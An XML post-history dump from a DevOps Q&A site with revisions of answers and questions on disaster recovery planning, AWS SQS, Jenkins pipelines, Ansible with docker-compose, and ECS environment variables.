  <row Id="3583" PostHistoryTypeId="2" PostId="1068" RevisionGUID="0cabb4e8-40a0-4f01-ab2e-43c48127cd5a" CreationDate="2017-04-28T23:19:36.943" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3584" PostHistoryTypeId="1" PostId="1068" RevisionGUID="0cabb4e8-40a0-4f01-ab2e-43c48127cd5a" CreationDate="2017-04-28T23:19:36.943" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3585" PostHistoryTypeId="2" PostId="1069" RevisionGUID="6b7c0a81-ab18-46c6-afa9-4b082aa92f42" CreationDate="2017-04-28T23:19:36.943" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3586" PostHistoryTypeId="1" PostId="1069" RevisionGUID="6b7c0a81-ab18-46c6-afa9-4b082aa92f42" CreationDate="2017-04-28T23:19:36.943" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostHistoryTypeId="2" PostId="1070" RevisionGUID="d665259f-bcde-4a41-859a-40769af45bc8" CreationDate="2017-04-28T23:20:47.130" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostHistoryTypeId="1" PostId="1070" RevisionGUID="d665259f-bcde-4a41-859a-40769af45bc8" CreationDate="2017-04-28T23:20:47.130" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostHistoryTypeId="2" PostId="1071" RevisionGUID="3bf8f9e6-f5e1-49e6-9320-cbec047a8f31" CreationDate="2017-04-28T23:20:47.130" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostHistoryTypeId="1" PostId="1071" RevisionGUID="3bf8f9e6-f5e1-49e6-9320-cbec047a8f31" CreationDate="2017-04-28T23:20:47.130" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3591" PostHistoryTypeId="2" PostId="1072" RevisionGUID="d6dd5249-ff47-479e-9972-dbdc45ee8fa6" CreationDate="2017-04-29T00:29:25.233" UserId="397" Text="&gt; **NOTE:** It's probably not worth reading too much into the outward comprehension of how good-or-not StackExchange is at managing their disaster recovery scenarios.  I suspect they are following much of the best practice below and simply testing scenarios to validate their configuration.&#xD;&#xA;&#xD;&#xA;Depending on the environment you operate within:&#xD;&#xA;&#xD;&#xA; - A disaster recovery plan might form part of a larger [Business Continuity Plan][1], a Business Continuity Plan would also likely consider operational risks to you people, organisation, locations, information, partners and management systems.&#xD;&#xA;&#xD;&#xA; - A disaster recovery plan might be broken down into many IT Service Continuity Plans for individual services.  The disaster recovery plan would likely incorporate people and process along with the technical aspects of the service.&#xD;&#xA;[![BCP Hierarchy][2]][2]&#xD;&#xA;&#xD;&#xA;Given these definitions, you might consider ways of improving the capability of the organisation as a whole to be resilient against failure:&#xD;&#xA;&#xD;&#xA; - **Service Recovery**:&#xD;&#xA;    - Enable individual services to be [Active-Active][3] across two geographically dispersed data centres.  This does assume that applications are capable of replicating state between data centres, for example using [BASE Semantics][4] for data.&#xD;&#xA;    - Create Self-Healing services, this means expecting failure and building with [Resilience Engineering][5] in mind.  An example is by using a tool such as [Chaos Monkey][6] to simulate a failure.&#xD;&#xA;&#xD;&#xA; - **Disaster Recovery Plan**:&#xD;&#xA;    - Again enable [Active-Active][3] mechanisms across data centres, the difference from SRPs is that capacity needs to be carefully considered, i.e. if you have to DCs in an Active-Active pattern and one fails then a single DC must be sufficiently scaled to support 100% of the traffic.&#xD;&#xA;    - War Games and Rehearsals are really important for disaster recovery plans as this tests the people and the process, in the most mature DevOps environments much of this can be automated as evidenced by [Chaos Gorilla][7].&#xD;&#xA;&#xD;&#xA; - **Business Continuity Plan**:&#xD;&#xA;    - On the basis that this is a DevOps site I won't go into the long process of building Business Continuity plans.  However, the rules of not keeping all of your eggs in one basket apply - have a plan for when your office is flooded:&#xD;&#xA;       - Allow your staff to work remotely from home one day a week, this tests your BCP strategies.&#xD;&#xA;       - If possible have to geographically and politically separate locations for your workforce.&#xD;&#xA;       - Define and test a clear process for communicating business continuity events and practice them through fire drills.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ready.gov/business/implementation/continuity&#xD;&#xA;  [2]: https://i.stack.imgur.com/2wf2m.png&#xD;&#xA;  [3]: https://infocus.emc.com/john_linse/what-is-activeactive-and-how-can-it-improve-business-continuity/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Eventual_consistency&#xD;&#xA;  [5]: http://erikhollnagel.com/ideas/resilience-engineering.html&#xD;&#xA;  [6]: https://devops.stackexchange.com/q/609/397&#xD;&#xA;  [7]: http://techblog.netflix.com/2011/07/netflix-simian-army.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostHistoryTypeId="2" PostId="1073" RevisionGUID="a2772b1a-3fef-41a8-9e97-d971cd10e02d" CreationDate="2017-04-29T00:51:12.370" UserId="405" Text="If there are 100 messages in the queue and 5 consumers, the initial distribution will be no more than 10-10-10-10-10. &#xD;&#xA;&#xD;&#xA;[A single response can never return more than 10 messages](http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html).  &#xD;&#xA;&#xD;&#xA;This seems like a non-issue.  &#xD;&#xA;&#xD;&#xA;Race conditions related to multiple consumers should be a non-issue as well.  SQS is *designed* for multiple simultaneous consumers.&#xD;&#xA;&#xD;&#xA;Use long polls and a 20 second max wait timer and be amazed. (No, a 20 second wait does not delay messages by 20 seconds.  It doesn't delay them at all.  You sort of need to see it in action to really understand how it works.)   &#xD;&#xA;&#xD;&#xA;You're definitely overthinking some things, I suspect." ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostHistoryTypeId="2" PostId="1074" RevisionGUID="f4aedaed-d978-4240-a2d8-32b1070c91f4" CreationDate="2017-04-29T03:07:59.373" UserId="2450" Text="Yes, definitely. I do this all the time. You can specify configuration options for your pipeline and one of them is `skipDefaultCheckout`, which causes pipeline to skip the default &quot;Declarative: Checkout SCM&quot; stage. The `skipDefaultCheckout` option is documented at https://jenkins.io/doc/book/pipeline/syntax/ and here's an example Jenkinsfile showing how to use it:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent { label 'docker' }&#xD;&#xA;      options {&#xD;&#xA;        skipDefaultCheckout true&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage('commit_stage') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'sweet stuff here'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostHistoryTypeId="5" PostId="1069" RevisionGUID="168e0abe-a1ee-4722-801f-96efc05234a3" CreationDate="2017-04-29T03:11:28.493" UserId="397" Comment="added 230 characters in body" Text="The process of converting source code files into standalone software artifact(s) that can be run on a computer.  Can also describe a CI/CDs tools configuration such as TeamCity's 'Build Configurations' or TFS' 'Build Definitions'." ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostHistoryTypeId="24" PostId="1069" RevisionGUID="168e0abe-a1ee-4722-801f-96efc05234a3" CreationDate="2017-04-29T03:11:28.493" Comment="Proposed by 397 approved by 40, 46 edit id of 327" ContentLicense="CC BY-SA 3.0" />
  <row Id="3597" PostHistoryTypeId="5" PostId="1068" RevisionGUID="830cd851-e868-4e3b-8346-1750542f2ffb" CreationDate="2017-04-29T03:11:31.497" UserId="397" Comment="added 480 characters in body" Text="In the field of computer software, the term **software build** refers either to the process of converting source code files into standalone software artefact(s) that can be run on a computer, or the result of doing so.&#xD;&#xA;&#xD;&#xA;**Useful Links**&#xD;&#xA;&#xD;&#xA;* [Wikipedia Page](https://en.wikipedia.org/wiki/Software_build)&#xD;&#xA;* [Build Automation](https://en.wikipedia.org/wiki/Build_automation)&#xD;&#xA;* [List of Build Automation Software](https://en.wikipedia.org/wiki/List_of_build_automation_software)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3598" PostHistoryTypeId="24" PostId="1068" RevisionGUID="830cd851-e868-4e3b-8346-1750542f2ffb" CreationDate="2017-04-29T03:11:31.497" Comment="Proposed by 397 approved by 40, 46 edit id of 326" ContentLicense="CC BY-SA 3.0" />
  <row Id="3599" PostHistoryTypeId="5" PostId="1070" RevisionGUID="30209146-f576-41ff-90f5-ee5872699709" CreationDate="2017-04-29T03:11:34.663" UserId="397" Comment="added 1033 characters in body" Text="In software engineering, software configuration management ([SCM][1]) is the task of tracking and controlling changes in the software. Configuration management practices include revision control and the establishment of baselines.&#xD;&#xA;&#xD;&#xA;SCM concerns itself with answering the question &quot;Somebody did something, how can one reproduce it?&quot; Often the problem involves not reproducing &quot;it&quot; identically, but with controlled, incremental changes. Answering the question thus becomes a matter of comparing different results and of analysing their differences. Traditional configuration management typically focused on the controlled creation of relatively simple products. Now, implementers of SCM face the challenge of dealing with relatively minor increments under their own control, in the context of the complex system being developed. According to another simple definition: Software Configuration Management is how you control the evolution of a software project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Software_configuration_management" ContentLicense="CC BY-SA 3.0" />
  <row Id="3600" PostHistoryTypeId="24" PostId="1070" RevisionGUID="30209146-f576-41ff-90f5-ee5872699709" CreationDate="2017-04-29T03:11:34.663" Comment="Proposed by 397 approved by 40, 46 edit id of 328" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostHistoryTypeId="5" PostId="1071" RevisionGUID="8ee8df56-6524-4301-9d08-e7efb1072ba4" CreationDate="2017-04-29T03:11:39.640" UserId="397" Comment="added 115 characters in body" Text="Software configuration management (SCM) is the task of tracking and controlling changes in the software deployments" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostHistoryTypeId="24" PostId="1071" RevisionGUID="8ee8df56-6524-4301-9d08-e7efb1072ba4" CreationDate="2017-04-29T03:11:39.640" Comment="Proposed by 397 approved by 40, 46 edit id of 329" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostHistoryTypeId="2" PostId="1075" RevisionGUID="20390ca1-ab61-4a47-8538-f3d6657c224f" CreationDate="2017-04-29T08:51:22.797" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostHistoryTypeId="1" PostId="1075" RevisionGUID="20390ca1-ab61-4a47-8538-f3d6657c224f" CreationDate="2017-04-29T08:51:22.797" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostHistoryTypeId="2" PostId="1076" RevisionGUID="c11134a6-d560-4023-a532-e56909356eaf" CreationDate="2017-04-29T08:51:22.797" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostHistoryTypeId="1" PostId="1076" RevisionGUID="c11134a6-d560-4023-a532-e56909356eaf" CreationDate="2017-04-29T08:51:22.797" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3607" PostHistoryTypeId="5" PostId="1076" RevisionGUID="e3189b92-a13c-4aba-8766-71b242670f5a" CreationDate="2017-04-29T15:39:32.713" UserId="40" Comment="added 51 characters in body" Text="For questions about Disaster Recovery Plans (=DRP)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostHistoryTypeId="24" PostId="1076" RevisionGUID="e3189b92-a13c-4aba-8766-71b242670f5a" CreationDate="2017-04-29T15:39:32.713" Comment="Proposed by 40 approved by 397, 228 edit id of 331" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostHistoryTypeId="5" PostId="1075" RevisionGUID="ba61ea03-b0aa-4e7d-a1b8-c73a82cd6617" CreationDate="2017-04-29T15:39:39.050" UserId="40" Comment="added 977 characters in body" Text="From [Wikipedia](https://en.wikipedia.org/wiki/Disaster_recovery_plan):&#xD;&#xA;&#xD;&#xA;&gt; A disaster recovery plan (DRP) is a documented process or set of procedures to recover and protect a business IT infrastructure in the event of a disaster. Such a plan, ordinarily documented in written form, specifies procedures an organization is to follow in the event of a disaster. It is &quot;a comprehensive statement of consistent actions to be taken before, during and after a disaster&quot;. The disaster could be natural, environmental or man-made. Man-made disasters could be intentional (for example, an act of a terrorist) or unintentional (that is, accidental, such as the breakage of a man-made dam).&#xD;&#xA;&#xD;&#xA;&gt; Given organizations' increasing dependency on information technology to run their operations, a disaster recovery plan, sometimes erroneously called a Continuity of Operations Plan (COOP), is increasingly associated with the recovery of information technology data, assets, and facilities." ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostHistoryTypeId="24" PostId="1075" RevisionGUID="ba61ea03-b0aa-4e7d-a1b8-c73a82cd6617" CreationDate="2017-04-29T15:39:39.050" Comment="Proposed by 40 approved by 397, 228 edit id of 330" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostHistoryTypeId="5" PostId="1074" RevisionGUID="f45f5a46-503b-4bce-bedb-4b4316561ed4" CreationDate="2017-04-29T19:15:23.757" UserId="397" Comment="Inlined Link" Text="Yes, definitely. I do this all the time. You can specify configuration options for your pipeline and one of them is `skipDefaultCheckout`, which causes pipeline to skip the default &quot;Declarative: Checkout SCM&quot; stage.&#xD;&#xA;&#xD;&#xA;The `skipDefaultCheckout` option is documented in [Pipeline Syntax][1] and here's an example Jenkinsfile showing how to use it:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent { label 'docker' }&#xD;&#xA;      options {&#xD;&#xA;        skipDefaultCheckout true&#xD;&#xA;      }&#xD;&#xA;      stages {&#xD;&#xA;        stage('commit_stage') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'sweet stuff here'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostHistoryTypeId="2" PostId="1077" RevisionGUID="e662cad9-f23e-4688-8293-2af4d8dd84d7" CreationDate="2017-04-29T20:10:51.383" UserId="13" Text="The same as any Linux load, consider no more processes in wait state than the number of CPU.&#xD;&#xA;The load on 1, 5 and 15 mins given by `uptime` should ideally be 1 less than number of cores. &#xD;&#xA;&#xD;&#xA; Containers are roughly isolated processes, leaving a core for orchestration avoid congestion. &#xD;&#xA;&#xD;&#xA;That doesn't mean only 7 containers on a 8 cores machine, it's a matter of simultaneous load, so the best way is to measure it and adapt consequently." ContentLicense="CC BY-SA 3.0" />
  <row Id="3615" PostHistoryTypeId="6" PostId="1058" RevisionGUID="431e9fca-9ff3-449e-abb4-df4dd774c23f" CreationDate="2017-05-01T00:02:12.907" UserId="2407" Comment="updated tags " Text="&lt;amazon-web-services&gt;&lt;amazon-sqs&gt;&lt;distributed-systems&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3616" PostHistoryTypeId="24" PostId="1058" RevisionGUID="431e9fca-9ff3-449e-abb4-df4dd774c23f" CreationDate="2017-05-01T00:02:12.907" Comment="Proposed by 2407 approved by 46 edit id of 332" ContentLicense="CC BY-SA 3.0" />
  <row Id="3617" PostHistoryTypeId="5" PostId="1049" RevisionGUID="539c5468-a877-4906-8b71-2163bccb943f" CreationDate="2017-05-01T10:19:47.800" UserId="397" Comment="Added [codefresh] tag, formatted post." Text="I have a BitBucket Cloud repository with a WebHook to trigger [Codefresh][1] builds on Pull Requests.  I would like the build results to appear as comments on the PRs, similar to the way Travis integration works for GitHub.&#xD;&#xA;&#xD;&#xA;I couldn't find any settings for this in my BitBucket repository or in Codefresh, but Codefresh's documentation seems to suggest that this happens automatically when you setup integration with GitHub.&#xD;&#xA;&#xD;&#xA;I can't find any examples of BitBucket repository with automatic comments. Is it supported?&#xD;&#xA;&#xD;&#xA;  [1]: https://codefresh.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3618" PostHistoryTypeId="6" PostId="1049" RevisionGUID="539c5468-a877-4906-8b71-2163bccb943f" CreationDate="2017-05-01T10:19:47.800" UserId="397" Comment="Added [codefresh] tag, formatted post." Text="&lt;continuous-integration&gt;&lt;bitbucket&gt;&lt;codefresh&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3619" PostHistoryTypeId="2" PostId="1078" RevisionGUID="7568a655-b1c4-42ee-a204-695728b7da22" CreationDate="2017-05-01T10:21:09.313" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3620" PostHistoryTypeId="1" PostId="1078" RevisionGUID="7568a655-b1c4-42ee-a204-695728b7da22" CreationDate="2017-05-01T10:21:09.313" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3621" PostHistoryTypeId="2" PostId="1079" RevisionGUID="8d6be604-bda1-40b3-b669-b75675be1260" CreationDate="2017-05-01T10:21:09.313" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3622" PostHistoryTypeId="1" PostId="1079" RevisionGUID="8d6be604-bda1-40b3-b669-b75675be1260" CreationDate="2017-05-01T10:21:09.313" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3623" PostHistoryTypeId="5" PostId="1078" RevisionGUID="304446ad-d70b-4325-8999-b6ef26a25970" CreationDate="2017-05-01T11:07:57.497" UserId="397" Comment="added 222 characters in body" Text="[Codefresh][1] is a Docker-native CI/CD platform. Allowing users to instantly build, test and deploy Docker images.  Use this tag to describe questions that discuss the Codefresh platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codefresh.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3624" PostHistoryTypeId="24" PostId="1078" RevisionGUID="304446ad-d70b-4325-8999-b6ef26a25970" CreationDate="2017-05-01T11:07:57.497" Comment="Proposed by 397 approved by 228, 40 edit id of 333" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostHistoryTypeId="5" PostId="1079" RevisionGUID="55e3ae03-f649-4cc7-ace4-eafea920e947" CreationDate="2017-05-01T11:08:00.803" UserId="397" Comment="added 183 characters in body" Text="Codefresh is a Docker-native CI/CD platform. Allowing users to instantly build, test and deploy Docker images.  Use this tag to describe questions that discuss the Codefresh platform." ContentLicense="CC BY-SA 3.0" />
  <row Id="3626" PostHistoryTypeId="24" PostId="1079" RevisionGUID="55e3ae03-f649-4cc7-ace4-eafea920e947" CreationDate="2017-05-01T11:08:00.803" Comment="Proposed by 397 approved by 228, 40 edit id of 334" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostHistoryTypeId="2" PostId="1080" RevisionGUID="bc22eb15-8b44-4897-a64d-af970649edfb" CreationDate="2017-05-01T11:34:25.377" UserId="2575" Text="I need some inputs from the devops folks here . I am a newbie in the world of Devops and 've been assigned  a task to implement web applications for the customers in AWS and that application monitored using any of the opensource tools . I dabbled with nagios a little and have gone through the AWs course on security and networking before .&#xD;&#xA;Has anyone done a similar kind of project before ? Kindly share the approach so that it will help me prepare a design document  .  Appreciate some guidance .&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostHistoryTypeId="1" PostId="1080" RevisionGUID="bc22eb15-8b44-4897-a64d-af970649edfb" CreationDate="2017-05-01T11:34:25.377" UserId="2575" Text="Looking for ways to host application in AWS and have it monitored using opensource" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostHistoryTypeId="3" PostId="1080" RevisionGUID="bc22eb15-8b44-4897-a64d-af970649edfb" CreationDate="2017-05-01T11:34:25.377" UserId="2575" Text="&lt;amazon-web-services&gt;&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostHistoryTypeId="5" PostId="1080" RevisionGUID="98d4bdfa-b81a-43c3-b30e-527b497430e8" CreationDate="2017-05-01T12:01:48.677" UserId="14" Comment="deleted 80 characters in body" Text="I am a newbie in the world of DevOps and have been assigned a task to implement web applications for the customers in AWS and that application monitored using any of the open source tools. I dabbled with Nagios a little and have gone through the AWS course on security and networking before.&#xD;&#xA;&#xD;&#xA;Has anyone done a similar kind of project before? Could anyone share their approach so that it will help me prepare a design document?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostHistoryTypeId="2" PostId="1081" RevisionGUID="0dda4e96-da82-4266-8434-288a2d4c52f8" CreationDate="2017-05-01T13:08:20.840" UserId="736" Text="Took a white and it's a little on the hacky side since I'm no Groovy expert, but I got it working with this;&#xD;&#xA;&#xD;&#xA;    long now = System.currentTimeMillis()&#xD;&#xA;    def dateForTag = new Date().format( 'yyyyMMdd' )&#xD;&#xA;&#xD;&#xA;    node('jenkins2_dedicated_slave'){&#xD;&#xA;&#xD;&#xA;        stage ('check time') {&#xD;&#xA;&#xD;&#xA;            sh '''lastBuild=$(mktemp)&#xD;&#xA;&#xD;&#xA;            curl -u [jenkins username]:[API key for user] &quot;http://[jenkins URL]/[job name]/lastSuccessfulBuild/api/json&quot; &gt; $lastBuild&#xD;&#xA;&#xD;&#xA;            jq -j '.timestamp' &lt; $lastBuild &gt; time.txt'''&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        archiveArtifacts artifacts: 'time.txt'&#xD;&#xA;        long lastBuild = readFile('time.txt') as Long&#xD;&#xA;        int finalNum = (now - lastBuild) / (1000*60*60)&#xD;&#xA;    &#xD;&#xA;        if( finalNum &lt; 8 ) {&#xD;&#xA;            currentBuild.result = 'SUCCESS'&#xD;&#xA;            echo finalNum + &quot; hours since the last build. Downstream job not run.&quot;&#xD;&#xA;            return&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage ('downstream') {&#xD;&#xA;&#xD;&#xA;            //run downstream job&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Basically this will &#xD;&#xA;&#xD;&#xA;1. Run a curl command on the Jenkins REST API to get the info on the last successful build and store it in a temp file&#xD;&#xA;&#xD;&#xA;2. Use [jq][1] to parse said info and extract the timestamp field, which is in Epoch time. This is stored to a file.&#xD;&#xA;&#xD;&#xA;3. The file is archived to the job and then read into a variable. This timestamp is compared to the current time, (gotten at the top of the job), and if the break between them is less than eight hours the job is &quot;failed&quot; out with a success and error message.&#xD;&#xA;&#xD;&#xA;4. If the time is over eight hours, the job continues on to build the downstream job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stedolan.github.io/jq/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3632" PostHistoryTypeId="5" PostId="1081" RevisionGUID="0daa70fb-11f3-4653-bba5-e39911f04378" CreationDate="2017-05-01T13:13:25.533" UserId="736" Comment="typo" Text="Took a while and it's a little on the hacky side since I'm no Groovy expert, but I got it working with this;&#xD;&#xA;&#xD;&#xA;    long now = System.currentTimeMillis()&#xD;&#xA;&#xD;&#xA;    node('jenkins2_dedicated_slave'){&#xD;&#xA;&#xD;&#xA;        stage ('check time') {&#xD;&#xA;&#xD;&#xA;            sh '''lastBuild=$(mktemp)&#xD;&#xA;&#xD;&#xA;            curl -u [jenkins username]:[API key for user] &quot;http://[jenkins URL]/[job name]/lastSuccessfulBuild/api/json&quot; &gt; $lastBuild&#xD;&#xA;&#xD;&#xA;            jq -j '.timestamp' &lt; $lastBuild &gt; time.txt'''&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        archiveArtifacts artifacts: 'time.txt'&#xD;&#xA;        long lastBuild = readFile('time.txt') as Long&#xD;&#xA;        int finalNum = (now - lastBuild) / (1000*60*60)&#xD;&#xA;    &#xD;&#xA;        if( finalNum &lt; 8 ) {&#xD;&#xA;            currentBuild.result = 'SUCCESS'&#xD;&#xA;            echo finalNum + &quot; hours since the last build. Downstream job not run.&quot;&#xD;&#xA;            return&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage ('downstream') {&#xD;&#xA;&#xD;&#xA;            //run downstream job&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Basically this will &#xD;&#xA;&#xD;&#xA;1. Run a curl command on the Jenkins REST API to get the info on the last successful build and store it in a temp file&#xD;&#xA;&#xD;&#xA;2. Use [jq][1] to parse said info and extract the timestamp field, which is in Epoch time. This is stored to a file.&#xD;&#xA;&#xD;&#xA;3. The file is archived to the job and then read into a variable. This timestamp is compared to the current time, (gotten at the top of the job), and if the break between them is less than eight hours the job is &quot;failed&quot; out with a success and error message.&#xD;&#xA;&#xD;&#xA;4. If the time is over eight hours, the job continues on to build the downstream job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stedolan.github.io/jq/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3633" PostHistoryTypeId="2" PostId="1082" RevisionGUID="e0d12bfc-3f40-49f8-a035-1850e4a2326d" CreationDate="2017-05-01T14:40:18.327" UserId="210" Text="Ansible is used to deploy docker-compose on a system and subsequently start the container.&#xD;&#xA;&#xD;&#xA;When ansible runs from the local system, the docker-compose file is deployed using Ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the code is pushed to bitbucket the file content is:&#xD;&#xA;&#xD;&#xA;    ../../../../docker-compose.yml&#xD;&#xA;&#xD;&#xA;and the CI deploys this on the system as well.&#xD;&#xA;&#xD;&#xA;**Structure**&#xD;&#xA;&#xD;&#xA;    project/ansible&#xD;&#xA;    &#xD;&#xA;    project/docker-compose.yml&#xD;&#xA;    &#xD;&#xA;    project/ansible/roles/role/files/docker-compose.yml&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In order to prevent that the docker-compose.yml need to be changed on two places, a symlink has been created, but that seems to be ignored by bitbucket as the link instead of the content reside in this file." ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostHistoryTypeId="1" PostId="1082" RevisionGUID="e0d12bfc-3f40-49f8-a035-1850e4a2326d" CreationDate="2017-05-01T14:40:18.327" UserId="210" Text="What are best practices of deploying docker-compose using Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostHistoryTypeId="3" PostId="1082" RevisionGUID="e0d12bfc-3f40-49f8-a035-1850e4a2326d" CreationDate="2017-05-01T14:40:18.327" UserId="210" Text="&lt;ansible&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostHistoryTypeId="5" PostId="1082" RevisionGUID="be70fec6-ab89-46c9-b123-47a468a8e9df" CreationDate="2017-05-01T14:50:34.110" UserId="210" Comment="added 265 characters in body" Text="Ansible is used to deploy docker-compose on a system and subsequently start the container.&#xD;&#xA;&#xD;&#xA;When ansible runs from the local system, the docker-compose file is deployed using Ansible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When the code is pushed to bitbucket the file content is:&#xD;&#xA;&#xD;&#xA;    ../../../../docker-compose.yml&#xD;&#xA;&#xD;&#xA;and the CI deploys this on the system as well.&#xD;&#xA;&#xD;&#xA;**Structure**&#xD;&#xA;&#xD;&#xA;    project/ansible&#xD;&#xA;    &#xD;&#xA;    project/docker-compose.yml&#xD;&#xA;    &#xD;&#xA;    project/ansible/roles/role/files/docker-compose.yml&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In order to prevent that the docker-compose.yml need to be changed on two places, a symlink has been created, but that seems to be ignored by bitbucket as the link instead of the content reside in this file.&#xD;&#xA;&#xD;&#xA;[This Q&amp;A][1] indicates that:&#xD;&#xA;&#xD;&#xA;&gt; The data referenced by the symlink is not stored in the repository.&#xD;&#xA;&#xD;&#xA;and creating a symlink to avoid code duplication in docker-compose.yml seems to cause the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/a/18791647/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="3640" PostHistoryTypeId="6" PostId="1082" RevisionGUID="684649d4-b3c6-4cd5-b710-c57ddf3e5829" CreationDate="2017-05-02T10:49:25.863" UserId="46" Comment="edited tags" Text="&lt;ansible&gt;&lt;docker&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostHistoryTypeId="2" PostId="1085" RevisionGUID="037e0a06-6475-4ffd-bd5d-02f1cfcfbe05" CreationDate="2017-05-02T14:43:08.483" UserId="736" Text="What AWS CLI command should I be using to access the environment variables in an AWS ECS cluster's task's container? &#xD;&#xA;&#xD;&#xA;I've seen `describe-cluster`, `list-tasks`, `describe-tasks`, `describe-container-instances`, etc... I can't seem to find one that lets me look at environment variables.&#xD;&#xA;&#xD;&#xA;Is this doable via the AWS CLI? " ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostHistoryTypeId="1" PostId="1085" RevisionGUID="037e0a06-6475-4ffd-bd5d-02f1cfcfbe05" CreationDate="2017-05-02T14:43:08.483" UserId="736" Text="AWS CLI: Get environment variables in ECS container" ContentLicense="CC BY-SA 3.0" />
  <row Id="3644" PostHistoryTypeId="3" PostId="1085" RevisionGUID="037e0a06-6475-4ffd-bd5d-02f1cfcfbe05" CreationDate="2017-05-02T14:43:08.483" UserId="736" Text="&lt;amazon-ecs&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostHistoryTypeId="50" PostId="292" RevisionGUID="f52eb102-c16a-4aed-befb-e2e69977f2fc" CreationDate="2017-05-02T20:45:20.137" UserId="-1" />
